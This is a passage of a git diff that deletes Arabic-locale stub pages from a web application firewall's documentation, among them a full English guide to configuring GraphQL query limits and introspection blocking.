+0,0 @@ ---8<-- "latest-ar/admin-en/configure-logging.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configure-parameters-en.md b/docs/ar/admin-en/configure-parameters-en.md deleted file mode 100644 index 07e596f552..0000000000 --- a/docs/ar/admin-en/configure-parameters-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-parameters-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configure-selinux.md b/docs/ar/admin-en/configure-selinux.md deleted file mode 100644 index 9da115359d..0000000000 --- a/docs/ar/admin-en/configure-selinux.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-selinux.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configure-statistics-service.md b/docs/ar/admin-en/configure-statistics-service.md deleted file mode 100644 index b6caf4afb3..0000000000 --- a/docs/ar/admin-en/configure-statistics-service.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-statistics-service.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configure-wallarm-mode.md b/docs/ar/admin-en/configure-wallarm-mode.md deleted file mode 100644 index 1f969485f8..0000000000 --- a/docs/ar/admin-en/configure-wallarm-mode.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-wallarm-mode.md" \ No newline at end of file diff --git a/docs/ar/admin-en/enabling-ja3.md b/docs/ar/admin-en/enabling-ja3.md deleted file mode 100644 index fe4991ea7b..0000000000 --- a/docs/ar/admin-en/enabling-ja3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/enabling-ja3.md" \ No newline at end of file diff --git a/docs/ar/admin-en/installation-check-operation-en.md b/docs/ar/admin-en/installation-check-operation-en.md deleted file mode 100644 index c05877424e..0000000000 --- a/docs/ar/admin-en/installation-check-operation-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-check-operation-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/installation-docker-en.md b/docs/ar/admin-en/installation-docker-en.md deleted file mode 100644 index 9861c7b08a..0000000000 --- a/docs/ar/admin-en/installation-docker-en.md +++ /dev/null @@ -1,34 +0,0 @@ -[doc-wallarm-mode]: configure-parameters-en.md#wallarm_mode -[doc-config-params]: configure-parameters-en.md -[waf-mode-instr]: configure-wallarm-mode.md -[logging-instr]: configure-logging.md -[proxy-balancer-instr]: using-proxy-or-balancer-en.md -[process-time-limit-instr]: configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: configure-parameters-en.md -[mount-config-instr]: #run-the-container-mounting-the-configuration-file -[graylist-docs]: ../user-guides/ip-lists/overview.md -[filtration-modes-docs]: configure-wallarm-mode.md -[application-configuration]: ../user-guides/settings/applications.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: configure-statistics-service.md -[node-token]: ../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../installation/supported-deployment-options.md -[nginx-directives-docs]: configure-parameters-en.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[aws-ecs-docs]: ../installation/cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../installation/cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../installation/cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../installation/cloud-platforms/alibaba-cloud/docker-container.md -[api-policy-enf-docs]: ../api-specification-enforcement/overview.md -[filtration-modes]: configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../api-discovery/overview.md -[sensitive-data-rule]: ../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../installation/nginx/all-in-one.md#api-discovery-only-mode -[link-wallarm-health-check]: ../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/admin-en/installation-docker-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md b/docs/ar/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md deleted file mode 100644 index def16e10db..0000000000 --- a/docs/ar/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md" diff --git a/docs/ar/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md b/docs/ar/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md deleted file mode 100644 index 4c43df9a12..0000000000 --- a/docs/ar/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md" diff --git a/docs/ar/admin-en/installation-guides/amazon-cloud/create-image.md b/docs/ar/admin-en/installation-guides/amazon-cloud/create-image.md deleted file mode 100644 index 81f5437ba3..0000000000 --- a/docs/ar/admin-en/installation-guides/amazon-cloud/create-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/amazon-cloud/create-image.md" diff --git a/docs/ar/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md b/docs/ar/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md deleted file mode 100644 index 557c96f992..0000000000 --- a/docs/ar/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md" diff --git a/docs/ar/admin-en/installation-guides/envoy/envoy-docker.md b/docs/ar/admin-en/installation-guides/envoy/envoy-docker.md deleted file mode 100644 index d72d83f3d8..0000000000 --- a/docs/ar/admin-en/installation-guides/envoy/envoy-docker.md +++ /dev/null @@ -1,17 +0,0 @@ -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[nginx-directives-docs]: ../../configure-parameters-en.md -[docker-envoy-configuration-docs]: ../../configuration-guides/envoy/fine-tuning.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[wallarm-mode-docs]: ../../configure-wallarm-mode.md -[api-tokens-docs]: ../../../user-guides/settings/api-tokens.md -[allocate-resources-for-wallarm-docs]: ../../configuration-guides/allocate-resources-for-node.md -[supported-deployments]: ../../../installation/supported-deployment-options.md -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[rate-limit-docs]: ../../../user-guides/rules/rate-limiting.md -[cred-stuffing-docs]: ../../../about-wallarm/credential-stuffing.md -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/admin-en/installation-guides/envoy/envoy-docker.md" \ No newline at end of file diff --git a/docs/ar/admin-en/installation-guides/google-cloud/autoscaling-overview.md b/docs/ar/admin-en/installation-guides/google-cloud/autoscaling-overview.md deleted file mode 100644 index 08af2ecc10..0000000000 --- a/docs/ar/admin-en/installation-guides/google-cloud/autoscaling-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/google-cloud/autoscaling-overview.md" diff --git a/docs/ar/admin-en/installation-guides/google-cloud/create-image.md b/docs/ar/admin-en/installation-guides/google-cloud/create-image.md deleted file mode 100644 index 589ce19d5b..0000000000 --- a/docs/ar/admin-en/installation-guides/google-cloud/create-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/google-cloud/create-image.md" diff --git a/docs/ar/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md b/docs/ar/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md deleted file mode 100644 index fa47e1cb5d..0000000000 --- a/docs/ar/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md" diff --git a/docs/ar/admin-en/installation-guides/google-cloud/creating-instance-template.md b/docs/ar/admin-en/installation-guides/google-cloud/creating-instance-template.md deleted file mode 100644 index c86083e1cc..0000000000 --- a/docs/ar/admin-en/installation-guides/google-cloud/creating-instance-template.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/google-cloud/creating-instance-template.md" diff --git a/docs/ar/admin-en/installation-guides/google-cloud/load-balancing-guide.md b/docs/ar/admin-en/installation-guides/google-cloud/load-balancing-guide.md deleted file mode 100644 index a7f307a3c1..0000000000 --- a/docs/ar/admin-en/installation-guides/google-cloud/load-balancing-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-guides/google-cloud/load-balancing-guide.md" diff --git a/docs/ar/admin-en/installation-kubernetes-en.md b/docs/ar/admin-en/installation-kubernetes-en.md deleted file mode 100644 index f3c1104ea6..0000000000 --- a/docs/ar/admin-en/installation-kubernetes-en.md +++ /dev/null @@ -1,16 +0,0 @@ -[ip-list-docs]: ../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../installation/supported-deployment-options.md -[nginx-ing-image]: ../images/waf-installation/kubernetes/nginx-ingress-controller.png -[nginx-ing-create-node-img]: ../images/user-guides/nodes/create-wallarm-node-name-specified.png -[application-docs]: ../user-guides/settings/applications.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[configure-nginx-ing-controller-docs]: configure-kubernetes-en.md -[controllerwallarmexistingsecret-docs]: configure-kubernetes-en.md#controllerwallarmexistingsecret -[best-practices-for-public-ip]: configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md -[best-practices-for-high-availability]: configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md -[best-practices-for-ingress-monitoring]: configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[chaining-doc]: chaining-wallarm-and-other-ingress-controllers.md - ---8<-- "latest-ar/admin-en/installation-kubernetes-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/installation-postanalytics-en.md b/docs/ar/admin-en/installation-postanalytics-en.md deleted file mode 100644 index 13fcacaf33..0000000000 --- a/docs/ar/admin-en/installation-postanalytics-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/installation-postanalytics-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/managing/terraform-provider.md b/docs/ar/admin-en/managing/terraform-provider.md deleted file mode 100644 index b9f717a45e..0000000000 --- a/docs/ar/admin-en/managing/terraform-provider.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/managing/terraform-provider.md" \ No newline at end of file diff --git a/docs/ar/admin-en/nginx-node-metrics.md b/docs/ar/admin-en/nginx-node-metrics.md deleted file mode 100644 index 29a9771851..0000000000 --- a/docs/ar/admin-en/nginx-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/nginx-node-metrics.md" \ No newline at end of file diff --git a/docs/ar/admin-en/operation/learn-incoming-request-number.md b/docs/ar/admin-en/operation/learn-incoming-request-number.md deleted file mode 100644 index 1c3ef787b2..0000000000 --- a/docs/ar/admin-en/operation/learn-incoming-request-number.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/operation/learn-incoming-request-number.md" diff --git a/docs/ar/admin-en/scanner-addresses.md b/docs/ar/admin-en/scanner-addresses.md deleted file mode 100644 index a33c3a6c5f..0000000000 --- a/docs/ar/admin-en/scanner-addresses.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/scanner-addresses.md" \ No newline at end of file diff --git a/docs/ar/admin-en/uat-checklist-en.md b/docs/ar/admin-en/uat-checklist-en.md deleted file mode 100644 index 789363ac9d..0000000000 --- a/docs/ar/admin-en/uat-checklist-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/uat-checklist-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/using-proxy-or-balancer-en.md b/docs/ar/admin-en/using-proxy-or-balancer-en.md deleted file mode 100644 index c3bc60ee06..0000000000 --- a/docs/ar/admin-en/using-proxy-or-balancer-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/using-proxy-or-balancer-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/wcli-metrics.md b/docs/ar/admin-en/wcli-metrics.md deleted file mode 100644 index db93a2a56c..0000000000 --- a/docs/ar/admin-en/wcli-metrics.md +++ /dev/null @@ -1,15 +0,0 @@ -[AIO]: ../installation/nginx/all-in-one.md -[docker]: ../admin-en/installation-docker-en.md -[aws-ami]: ../installation/packages/aws-ami.md -[gcp]: ../installation/packages/gcp-machine-image.md -[IC]: ../admin-en/installation-kubernetes-en.md -[sidecar]: ../installation/kubernetes/sidecar-proxy/deployment.md -[sidecar-helm-chart]: ../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md -[sidecar-deployment]: ../installation/kubernetes/sidecar-proxy/deployment.md -[sidecar-upgrade]: ../updating-migrating/sidecar-proxy.md -[ic-helm-chart]: ../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewallmetrics -[ic-deployment]: ../admin-en/installation-kubernetes-en.md -[nginx-node-changelog]: ../updating-migrating/node-artifact-versions.md -[nginx-node-6.6.0]: ../updating-migrating/node-artifact-versions.md#660-2025-10-03 - ---8<-- "latest/admin-en/wcli-metrics.md" \ No newline at end of file diff --git a/docs/ar/admin-en/wstore-metrics.md b/docs/ar/admin-en/wstore-metrics.md deleted file mode 100644 index 4b9f5930e5..0000000000 --- a/docs/ar/admin-en/wstore-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/wstore-metrics.md" diff --git a/docs/ar/agentic-ai/agentic-ai-protection.md b/docs/ar/agentic-ai/agentic-ai-protection.md deleted file mode 100644 index a5417f32f7..0000000000 --- a/docs/ar/agentic-ai/agentic-ai-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/agentic-ai/agentic-ai-protection.md" \ No newline at end of file diff --git a/docs/ar/agentic-ai/ai-payload-inspection.md b/docs/ar/agentic-ai/ai-payload-inspection.md deleted file mode 100644 index 6e2d4c68e4..0000000000 --- a/docs/ar/agentic-ai/ai-payload-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/agentic-ai/ai-payload-inspection.md" \ No newline at end of file diff --git a/docs/ar/api-abuse-prevention/exceptions.md b/docs/ar/api-abuse-prevention/exceptions.md deleted file mode 100644 index 44f1600d35..0000000000 --- a/docs/ar/api-abuse-prevention/exceptions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-abuse-prevention/exceptions.md" \ No newline at end of file diff --git a/docs/ar/api-abuse-prevention/exploring-bots.md b/docs/ar/api-abuse-prevention/exploring-bots.md deleted file mode 100644 index b64ca3887a..0000000000 --- a/docs/ar/api-abuse-prevention/exploring-bots.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-abuse-prevention/exploring-bots.md" \ No newline at end of file diff --git a/docs/ar/api-abuse-prevention/overview.md b/docs/ar/api-abuse-prevention/overview.md deleted file mode 100644 index 685252f415..0000000000 --- a/docs/ar/api-abuse-prevention/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-abuse-prevention/overview.md" \ No newline at end of file diff --git a/docs/ar/api-abuse-prevention/setup.md b/docs/ar/api-abuse-prevention/setup.md deleted file mode 100644 index 1528140dec..0000000000 --- a/docs/ar/api-abuse-prevention/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-abuse-prevention/setup.md" \ No newline at end of file diff --git a/docs/ar/api-attack-surface/api-surface.md b/docs/ar/api-attack-surface/api-surface.md deleted file mode 100644 index b4004a08cd..0000000000 --- a/docs/ar/api-attack-surface/api-surface.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-attack-surface/api-surface.md" \ No newline at end of file diff --git a/docs/ar/api-attack-surface/overview.md b/docs/ar/api-attack-surface/overview.md deleted file mode 100644 index 10d217e156..0000000000 --- a/docs/ar/api-attack-surface/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-attack-surface/overview.md" \ No newline at end of file diff --git a/docs/ar/api-attack-surface/security-issues.md b/docs/ar/api-attack-surface/security-issues.md deleted file mode 100644 index 540108c84c..0000000000 --- a/docs/ar/api-attack-surface/security-issues.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-attack-surface/security-issues.md" \ No newline at end of file diff --git a/docs/ar/api-attack-surface/setup.md b/docs/ar/api-attack-surface/setup.md deleted file mode 100644 index 95fc74d7a8..0000000000 --- a/docs/ar/api-attack-surface/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-attack-surface/setup.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/bola-protection.md b/docs/ar/api-discovery/bola-protection.md deleted file mode 100644 index 4106b3fd06..0000000000 --- a/docs/ar/api-discovery/bola-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/bola-protection.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/dashboard.md b/docs/ar/api-discovery/dashboard.md deleted file mode 100644 index f5058782d7..0000000000 --- a/docs/ar/api-discovery/dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/exploring.md b/docs/ar/api-discovery/exploring.md deleted file mode 100644 index 6e5c34bfe5..0000000000 --- a/docs/ar/api-discovery/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/exploring.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/overview.md b/docs/ar/api-discovery/overview.md deleted file mode 100644 index 552aac74f5..0000000000 --- a/docs/ar/api-discovery/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/overview.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/risk-score.md b/docs/ar/api-discovery/risk-score.md deleted file mode 100644 index 04b730b42a..0000000000 --- a/docs/ar/api-discovery/risk-score.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/risk-score.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/rogue-api.md b/docs/ar/api-discovery/rogue-api.md deleted file mode 100644 index be3327edb0..0000000000 --- a/docs/ar/api-discovery/rogue-api.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/rogue-api.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/sbf.md b/docs/ar/api-discovery/sbf.md deleted file mode 100644 index c69718f94c..0000000000 --- a/docs/ar/api-discovery/sbf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/sbf.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/setup.md b/docs/ar/api-discovery/setup.md deleted file mode 100644 index 2fd86b0387..0000000000 --- a/docs/ar/api-discovery/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/setup.md" \ No newline at end of file diff --git a/docs/ar/api-discovery/track-changes.md b/docs/ar/api-discovery/track-changes.md deleted file mode 100644 index cbeb466eb9..0000000000 --- a/docs/ar/api-discovery/track-changes.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-discovery/track-changes.md" \ No newline at end of file diff --git a/docs/ar/api-protection/business-logic-abuse-detection.md b/docs/ar/api-protection/business-logic-abuse-detection.md deleted file mode 100644 index 21667bf348..0000000000 --- a/docs/ar/api-protection/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/ar/api-protection/file-upload-restriction.md b/docs/ar/api-protection/file-upload-restriction.md deleted file mode 100644 index d816445bcc..0000000000 --- a/docs/ar/api-protection/file-upload-restriction.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-protection/file-upload-restriction.md" \ No newline at end of file diff --git a/docs/ar/api-protection/graphql-rule.md b/docs/ar/api-protection/graphql-rule.md deleted file mode 100644 index f90c288450..0000000000 --- a/docs/ar/api-protection/graphql-rule.md +++ /dev/null @@ -1,94 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# GraphQL API Protection - -Wallarm detects regular attacks (SQLi, RCE, [etc.](../attacks-vulns-list.md)) in GraphQL by default even under the basic [WAAP](../about-wallarm/subscription-plans.md#waap-and-advanced-api-security) subscription plan. However, some aspects of the protocol allow implementing [GraphQL specific](../attacks-vulns-list.md#graphql-attacks) attacks related to excessive information exposure and DoS. This document describes how to use Wallarm to protect your APIs from these attacks by setting **GraphQL policy** - a set of limits for the GraphQL requests. - -Being the extended protection, GraphQL API Protection is the part of the advanced [API Security](../about-wallarm/subscription-plans.md#waap-and-advanced-api-security) subscription plan. When plan is purchased, start protection by setting your organization's GraphQL policy in the **Detect GraphQL attacks** [rule](../user-guides/rules/rules.md) (requires node 4.10.4 of higher). - -## Supported GraphQL formats - -GraphQL queries are typically sent as HTTP POST requests to a GraphQL server endpoint. The request includes a `CONTENT-TYPE` header to specify the media type of the body sent to the server. For `CONTENT-TYPE`, Wallarm supports: - -* commonly used options: `application/json` and `application/graphql` -* options that can also occur: `text/plain` and `multipart/form-data` - -GraphQL queries can be also sent as HTTP GET requests. In such case, the query is included as a query parameter in the URL. While GET requests can be used for GraphQL queries, it's less common than the POST requests, especially for the more complex queries. The cause of that is that GET requests are typically used for idempotent operations (i.e., operations that can be repeated without different outcomes), and they have length restrictions that can be problematic for longer queries. - -Wallarm supports both POST and GET HTTP methods for GraphQL requests. - -## Creating and applying the rule - -GraphQL rule is recommended to be created for the GraphQL specific endpoints. Creating it as a [default](../user-guides/rules/rules.md#default-rules) rule for the entire system is not recommended. - -To set and apply GraphQL policy: - ---8<-- "../include/rule-creation-initial-step.md" -1. Choose **Mitigation controls** → **GraphQL API protection**. -1. In **If request is**, [describe](../user-guides/rules/rules.md#rule-branches) endpoint URI to apply the rule to and other conditions: - - * URI of your GraphQL endpoint (in the route, usually contains `/graphql`) - * POST or GET method - see [Supported GraphQL formats](#supported-graphql-formats); leave method unspecified if you want the rule to set the same limitations both for POST and GET requests - * Set the `CONTENT-TYPE` header value - see [Supported GraphQL formats](#supported-graphql-formats) - - Note that you can set when the rule must be applied using different condition combinations, for example, you can use URI and leave other conditions unspecified or set `CONTENT-TYPE` header to `application/graphql` without specifying any endpoint. You can also create several rules with different conditions and set different limits and reactions in them. - -1. Set thresholds for GraphQL requests in accordance with your traffic metrics (if left empty/unselected, no limitation is applied by this criteria): - - * **Maximum total query size in kilobytes** - sets the upper limit for the size of an entire GraphQL query. It's crucial for preventing Denial of Service (DoS) attacks that exploit server resources by submitting excessively large queries. - * **Maximum value size in kilobytes** - sets the maximum size for any individual value (whether a variable or query parameter) within a GraphQL query. This limit helps mitigate attacks that attempt to overwhelm the server through Excessive Value Length, where attackers send requests with overly long string values for variables or arguments. - * **Maximum query depth** - determines the maximum allowed depth for a GraphQL query. By limiting query depth, the server can avoid performance issues or resource exhaustion from maliciously crafted, deeply nested queries. - * **Maximum number of aliases** - sets the limit on the number of aliases that can be used in a single GraphQL query. Restricting the number of aliases prevents Resource Exhaustion and DoS attacks that exploit alias functionality to create overly complex queries. - * **Maximum batched queries** - caps the number of batched queries that can be sent in a single request. This parameter is essential for thwarting batching attacks, where attackers combine multiple operations into a single request to bypass security measures like rate limiting. - * **Block/register introspection queries** - when enabled, the server will treat introspection requests—which can reveal the structure of your GraphQL schema—as potential attacks. Disabling or monitoring introspection queries is a crucial measure for protecting the schema from being exposed to attackers. - * **Block/register debug requests** - enabling this option means that requests containing the debug mode parameter will be considered potential attacks. This setting is useful for catching instances where debug mode is inadvertently left enabled in production, preventing attackers from accessing excessive error reporting messages that could reveal sensitive information about the backend. - - By default, a policy sets maximum POST request query size to 100 KB, value size to 10 KB, query depth and batched query limits to 10, aliases to 5, plus deny introspection and debug queries as displayed on the screenshot (note that you can change default values to your own considering statistics of your common legitimate GraphQL queries): - - ![GraphQL thresholds](../images/user-guides/rules/graphql-rule.png) - -Once created, the rule may be at any moment temporarily disabled and later re-enabled again using the **Mode** parameter of the rule. - -## Reaction to policy violation - -Reaction to the policy violation is defined by the [filtration mode](../admin-en/configure-wallarm-mode.md) applied to the endpoints targeted by the rule. - -If you are using Wallarm in blocking mode and want to safely test GraphQL rules, you can easily enable monitoring mode for `/graphql` routes by creating a **Set filtration mode** rule [specifically](../admin-en/configure-wallarm-mode.md#endpoint-targeted-filtration-rules-in-wallarm-console) for your GraphQL route. Note that this rule will apply to all attacks, including SQLi, XSS, etc., so it is not recommended to leave it for a long time. - -![GraphQL policy blocking action](../images/user-guides/rules/graphql-rule-2-action.png) - -Consider that you node configuration via the [`wallarm_mode_allow_override` directive](../admin-en/configure-wallarm-mode.md#prioritization-of-methods) may be set to ignore rules created in Wallarm Console. If this is a case, [explore](../admin-en/configure-wallarm-mode.md#configuration-methods) and use other ways to change the filtration mode. - -## Exploring GraphQL attacks - -You can explore GraphQL policy violations (GraphQL attacks) in Wallarm Console → **Attacks** section. Use the GraphQL specific [search keys](../user-guides/search-and-filters/use-search.md#graphql-tags) or corresponding filters: - -![GraphQL attacks](../images/user-guides/rules/graphql-attacks.png) - -### Setting policy for your GraphQL endpoints to block attacks - -Let us say you want to set limits for the requests to your application GraphQL endpoints located under `example.com/graphql` to block all potential [GraphQL specific](../attacks-vulns-list.md#graphql-attacks) attacks to them. Filtration mode for `example.com` is `monitoring`. - -To do so: - -1. Set the **Detect GraphQL attacks** rule as displayed on the screenshot (note that these are the example values - for the real-life rules you should define your own values considering statistics of your common legitimate GraphQL queries): - - ![GraphQL Policy for your endpoints](../images/user-guides/rules/graphql-rule-1.png) - -1. As filtration mode for `example.com` is `monitoring` and you want `block` for its GraphQL endpoints, configure the **Set filtration mode** rule as displayed on the screenshot: - - ![GraphQL policy blocking action](../images/user-guides/rules/graphql-rule-1-action.png) - -### Altering policy for specific endpoints - -Continuing the [previous](#setting-policy-for-your-graphql-endpoints-to-block-attacks) example, let us say you want to set stricter limits for `example.com/graphql/v2` child endpoint. As limits are stricter, before blocking anything, they should be tested in the `monitoring` mode. - -To do so: - -1. Set the **Detect GraphQL attacks** rule as displayed on the screenshot (note that these are the example values - for the real-life rules you should define your own values considering statistics of your common legitimate GraphQL queries): - - ![GraphQL stricter policy for child endpoint](/../images/user-guides/rules/graphql-rule-2.png) - -1. As filtration mode for `example.com/graphql` is `block` and you want `monitoring` for `example.com/graphql/v2`, configure the **Set filtration mode** rule as displayed on the screenshot: - - ![GraphQL policy blocking action](../images/user-guides/rules/graphql-rule-2-action.png) diff --git a/docs/ar/api-sessions/blocking.md b/docs/ar/api-sessions/blocking.md deleted file mode 100644 index 5c56179174..0000000000 --- a/docs/ar/api-sessions/blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-sessions/blocking.md" \ No newline at end of file diff --git a/docs/ar/api-sessions/exploring.md b/docs/ar/api-sessions/exploring.md deleted file mode 100644 index c070572421..0000000000 --- a/docs/ar/api-sessions/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-sessions/exploring.md" \ No newline at end of file diff --git a/docs/ar/api-sessions/overview.md b/docs/ar/api-sessions/overview.md deleted file mode 100644 index bb4ecb550a..0000000000 --- a/docs/ar/api-sessions/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-sessions/overview.md" \ No newline at end of file diff --git a/docs/ar/api-sessions/setup.md b/docs/ar/api-sessions/setup.md deleted file mode 100644 index 5dca4ccf13..0000000000 --- a/docs/ar/api-sessions/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api-sessions/setup.md" \ No newline at end of file diff --git a/docs/ar/api-specification-enforcement/overview.md b/docs/ar/api-specification-enforcement/overview.md deleted file mode 100644 index 9cc0d2079d..0000000000 --- a/docs/ar/api-specification-enforcement/overview.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/api-specification-enforcement/overview.md" \ No newline at end of file diff --git a/docs/ar/api-specification-enforcement/setup.md b/docs/ar/api-specification-enforcement/setup.md deleted file mode 100644 index 58a2144075..0000000000 --- a/docs/ar/api-specification-enforcement/setup.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/api-specification-enforcement/setup.md" \ No newline at end of file diff --git a/docs/ar/api-specification-enforcement/viewing-events.md b/docs/ar/api-specification-enforcement/viewing-events.md deleted file mode 100644 index 3f6a9f3f72..0000000000 --- a/docs/ar/api-specification-enforcement/viewing-events.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/api-specification-enforcement/viewing-events.md" \ No newline at end of file diff --git a/docs/ar/api/overview.md b/docs/ar/api/overview.md deleted file mode 100644 index ad92c9ae92..0000000000 --- a/docs/ar/api/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- 